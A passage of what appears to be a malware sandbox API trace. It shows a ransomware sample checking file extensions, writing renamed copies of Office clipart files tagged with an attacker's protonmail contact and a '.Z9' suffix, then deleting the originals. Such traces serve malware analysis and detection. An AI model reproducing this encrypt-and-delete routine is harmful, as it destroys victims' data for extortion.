	[0095.830] lstrlenW (lpString=".doc") returned 4
	[0095.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString=".docx") returned 5
	[0095.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.830] lstrlenW (lpString=".pdf") returned 4
	[0095.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString=".xls") returned 4
	[0095.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.830] lstrlenW (lpString=".xlsx") returned 5
	[0095.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.830] lstrlenW (lpString=".ppt") returned 4
	[0095.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.830] lstrlenW (lpString=".zip") returned 4
	[0095.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.830] lstrlenW (lpString=".rar") returned 4
	[0095.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.831] lstrlenW (lpString=".bz2") returned 4
	[0095.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.831] lstrlenW (lpString=".7z") returned 3
	[0095.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.831] lstrlenW (lpString=".dbf") returned 4
	[0095.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.831] lstrlenW (lpString=".1cd") returned 4
	[0095.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0095.831] lstrlenW (lpString=".jpg") returned 4
	[0095.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.831] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.831] lstrlenW (lpString="IN00919_.WMF") returned 12
	[0095.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.831] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6920) returned 1
	[0095.831] CloseHandle (hObject=0x378) returned 1
	[0095.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220
	[0095.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0095.832] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.832] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0095.832] GetLastError () returned 0x0
	[0095.832] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1b08, lpOverlapped=0x0) returned 1
	[0096.105] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0096.106] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.106] WriteFile (in: hFile=0x364, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.106] SetEndOfFile (hFile=0x364) returned 1
	[0096.106] CloseHandle (hObject=0x364) returned 1
	[0096.106] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.106] SetEndOfFile (hFile=0x378) returned 1
	[0096.107] CloseHandle (hObject=0x378) returned 1
	[0096.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1
	[0096.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.419] lstrlenW (lpString=".doc") returned 4
	[0096.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString=".docx") returned 5
	[0096.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0096.420] lstrlenW (lpString=".pdf") returned 4
	[0096.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString=".xls") returned 4
	[0096.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.420] lstrlenW (lpString=".xlsx") returned 5
	[0096.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0096.420] lstrlenW (lpString=".ppt") returned 4
	[0096.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.420] lstrlenW (lpString=".zip") returned 4
	[0096.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.420] lstrlenW (lpString=".rar") returned 4
	[0096.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString=".bz2") returned 4
	[0096.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString=".7z") returned 3
	[0096.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.420] lstrlenW (lpString=".dbf") returned 4
	[0096.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.420] lstrlenW (lpString=".1cd") returned 4
	[0096.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.420] lstrlenW (lpString=".jpg") returned 4
	[0096.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.420] lstrlenW (lpString=".doc") returned 4
	[0096.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.420] lstrlenW (lpString=".docx") returned 5
	[0096.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0096.420] lstrlenW (lpString=".pdf") returned 4
	[0096.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.421] lstrlenW (lpString=".xls") returned 4
	[0096.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.421] lstrlenW (lpString=".xlsx") returned 5
	[0096.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0096.421] lstrlenW (lpString=".ppt") returned 4
	[0096.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.421] lstrlenW (lpString=".zip") returned 4
	[0096.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.421] lstrlenW (lpString=".rar") returned 4
	[0096.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.421] lstrlenW (lpString=".bz2") returned 4
	[0096.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.421] lstrlenW (lpString=".7z") returned 3
	[0096.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.421] lstrlenW (lpString=".dbf") returned 4
	[0096.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.421] lstrlenW (lpString=".1cd") returned 4
	[0096.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0096.421] lstrlenW (lpString=".jpg") returned 4
	[0096.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.421] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.421] lstrlenW (lpString="J0090390.WMF") returned 12
	[0096.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.422] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17638) returned 1
	[0096.422] CloseHandle (hObject=0x35c) returned 1
	[0096.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220
	[0096.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.422] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.422] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.422] GetLastError () returned 0x0
	[0096.422] ReadFile (in: hFile=0x35c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x44e6, lpOverlapped=0x0) returned 1
	[0096.424] WriteFile (in: hFile=0x384, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x44f0, lpOverlapped=0x0) returned 1
	[0096.425] ReadFile (in: hFile=0x35c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.425] WriteFile (in: hFile=0x384, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.425] SetEndOfFile (hFile=0x384) returned 1
	[0096.425] CloseHandle (hObject=0x384) returned 1
	[0096.426] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.426] SetEndOfFile (hFile=0x35c) returned 1
	[0096.427] CloseHandle (hObject=0x35c) returned 1
	[0096.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1
	[0096.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.427] lstrlenW (lpString=".doc") returned 4
	[0096.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.427] lstrlenW (lpString=".docx") returned 5
	[0096.427] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0096.427] lstrlenW (lpString=".pdf") returned 4
	[0096.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.427] lstrlenW (lpString=".xls") returned 4
	[0096.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.427] lstrlenW (lpString=".xlsx") returned 5
	[0096.427] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0096.427] lstrlenW (lpString=".ppt") returned 4
	[0096.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.427] lstrlenW (lpString=".zip") returned 4
	[0096.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.427] lstrlenW (lpString=".rar") returned 4
	[0096.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.427] lstrlenW (lpString=".bz2") returned 4
	[0096.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString=".7z") returned 3
	[0096.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.428] lstrlenW (lpString=".dbf") returned 4
	[0096.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.428] lstrlenW (lpString=".1cd") returned 4
	[0096.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.428] lstrlenW (lpString=".jpg") returned 4
	[0096.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.428] lstrlenW (lpString=".doc") returned 4
	[0096.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString=".docx") returned 5
	[0096.428] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0096.428] lstrlenW (lpString=".pdf") returned 4
	[0096.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString=".xls") returned 4
	[0096.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.428] lstrlenW (lpString=".xlsx") returned 5
	[0096.428] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0096.428] lstrlenW (lpString=".ppt") returned 4
	[0096.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.428] lstrlenW (lpString=".zip") returned 4
	[0096.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.428] lstrlenW (lpString=".rar") returned 4
	[0096.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString=".bz2") returned 4
	[0096.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.428] lstrlenW (lpString=".7z") returned 3
	[0096.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.429] lstrlenW (lpString=".dbf") returned 4
	[0096.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.429] lstrlenW (lpString=".1cd") returned 4
	[0096.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0096.429] lstrlenW (lpString=".jpg") returned 4
	[0096.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.429] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0096.429] lstrlenW (lpString="J0090777.WMF") returned 12
	[0096.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.430] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3332) returned 1
	[0096.430] CloseHandle (hObject=0x384) returned 1
	[0096.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220
	[0096.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.430] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.430] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0096.431] GetLastError () returned 0x0
	[0096.431] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xd04, lpOverlapped=0x0) returned 1
	[0096.432] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xd10, lpOverlapped=0x0) returned 1
	[0096.433] ReadFile (in: hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.433] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0096.433] SetEndOfFile (hFile=0x370) returned 1
	[0096.433] CloseHandle (hObject=0x370) returned 1
	[0096.434] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.434] SetEndOfFile (hFile=0x384) returned 1
	[0096.434] CloseHandle (hObject=0x384) returned 1
	[0096.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0096.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1
	[0096.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.435] lstrlenW (lpString=".doc") returned 4
	[0096.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0096.435] lstrlenW (lpString=".docx") returned 5
	[0096.435] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0096.435] lstrlenW (lpString=".pdf") returned 4
	[0096.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0096.435] lstrlenW (lpString=".xls") returned 4
	[0096.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0096.435] lstrlenW (lpString=".xlsx") returned 5
	[0096.435] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0096.435] lstrlenW (lpString=".ppt") returned 4
	[0096.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0096.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.435] lstrlenW (lpString=".zip") returned 4
	[0096.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0096.435] lstrlenW (lpString=".rar") returned 4
	[0096.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0096.435] lstrlenW (lpString=".bz2") returned 4
	[0096.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0096.435] lstrlenW (lpString=".7z") returned 3
	[0096.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0096.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.436] lstrlenW (lpString=".dbf") returned 4
	[0096.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.436] lstrlenW (lpString=".1cd") returned 4
	[0096.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.436] lstrlenW (lpString=".jpg") returned 4
	[0096.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0096.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0096.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
